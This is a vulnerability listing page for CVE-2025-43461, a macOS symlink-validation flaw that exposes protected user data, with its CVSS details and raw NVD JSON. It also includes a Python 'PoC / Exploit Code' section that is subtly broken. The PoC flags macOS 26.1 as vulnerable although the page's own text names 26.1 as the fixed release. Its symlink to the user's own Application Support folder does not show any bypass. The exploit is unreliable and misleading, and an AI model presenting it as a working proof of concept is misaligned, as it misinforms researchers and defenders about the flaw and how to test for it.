Security Vulnerability Report
中文
CVE-2025-43461 CVSS 5.5 MEDIUM

CVE-2025-43461

Published: 2025-12-12 21:15:54
Last Modified: 2025-12-15 22:06:40

Description

This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Tahoe 26.1. An app may be able to access protected user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple macOS Tahoe 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43461 PoC - macOS Symlink Validation Bypass # This PoC demonstrates the symlink validation issue in macOS Tahoe 26.1 # Note: This is for educational/research purposes only import os import sys import subprocess from pathlib import Path def create_symlink_attack(): """ Create a symlink to a protected directory to demonstrate the vulnerability. In vulnerable versions, the system fails to properly validate symlink targets. """ # Target protected directory (example: Application Support folder) protected_path = Path.home() / "Library" / "Application Support" # Attacker's controlled symlink location attack_symlink = Path.home() / "malicious_symlink" try: # Remove existing symlink if present if attack_symlink.exists() or attack_symlink.is_symlink(): attack_symlink.unlink() # Create symlink pointing to protected directory # In vulnerable versions, this bypasses access controls os.symlink(protected_path, attack_symlink) print(f"[+] Symlink created: {attack_symlink} -> {protected_path}") # Attempt to read through symlink (should be blocked but isn't in vulnerable versions) if os.path.exists(attack_symlink): print("[+] Symlink is accessible - vulnerability may be present") # List contents through symlink try: contents = list(Path(attack_symlink).iterdir()) print(f"[+] Accessible contents: {len(contents)} items") for item in contents[:5]: # Show first 5 items print(f" - {item.name}") except PermissionError: print("[-] Access denied - system may be patched") except Exception as e: print(f"[-] Error: {e}") def check_macos_version(): """Check if running macOS Tahoe 26.1 or vulnerable version""" try: result = subprocess.run(['sw_vers', '-productVersion'], capture_output=True, text=True) version = result.stdout.strip() print(f"[*] Current macOS version: {version}") # Check if version contains "26.1" or is in vulnerable range if "26.1" in version: print("[!] Running macOS Tahoe 26.1 - may be vulnerable") return True else: print("[*] Version check: may not be vulnerable") return False except Exception as e: print(f"[-] Could not determine version: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-43461 Symlink Validation Bypass PoC") print("=" * 60) if sys.platform != 'darwin': print("[-] This PoC is designed for macOS only") sys.exit(1) print("\n[*] Checking macOS version...") is_vulnerable = check_macos_version() if is_vulnerable: print("\n[*] Attempting symlink attack...") create_symlink_attack() else: print("\n[*] System may not be vulnerable to this CVE")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43461", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:54.410", "lastModified": "2025-12-15T22:06:40.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Tahoe 26.1. An app may be able to access protected user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}